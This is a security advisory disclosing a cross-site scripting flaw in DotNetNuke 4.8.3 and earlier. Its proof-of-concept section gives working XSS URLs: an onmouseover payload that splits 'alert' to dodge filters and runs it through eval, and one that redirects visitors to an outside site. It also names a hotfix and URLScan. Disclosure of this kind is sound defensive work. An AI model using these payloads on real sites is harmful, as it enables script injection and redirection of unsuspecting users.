dotnetnuke-xss.txt

`########################## www.BugReport.ir #######################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: Dot Net Nuke (DNN) XSS Vulnerability.  
# Vendor: www.dotnetnuke.com  
# Vulnerable Version: 4.8.3 and prior versions  
# Exploit: N/A  
# Impact: Low  
# Fix: N/A  
# Original Advisory: http://bugreport.ir/index.php?/38  
###################################################################################  
  
####################  
1. Description:  
####################  
DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.  
  
####################  
2. Vulnerability:  
####################  
XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.  
In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".  
  
####################  
3. PoC:  
####################  
- Alert by XSS  
http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx  
  
- Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")  
http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';  
  
####################  
4. Solution:  
####################  
Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).  
  
####################  
5. Credit :  
####################  
AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
WwW.BugReport.ir  
WwW.AmnPardaz.com  
`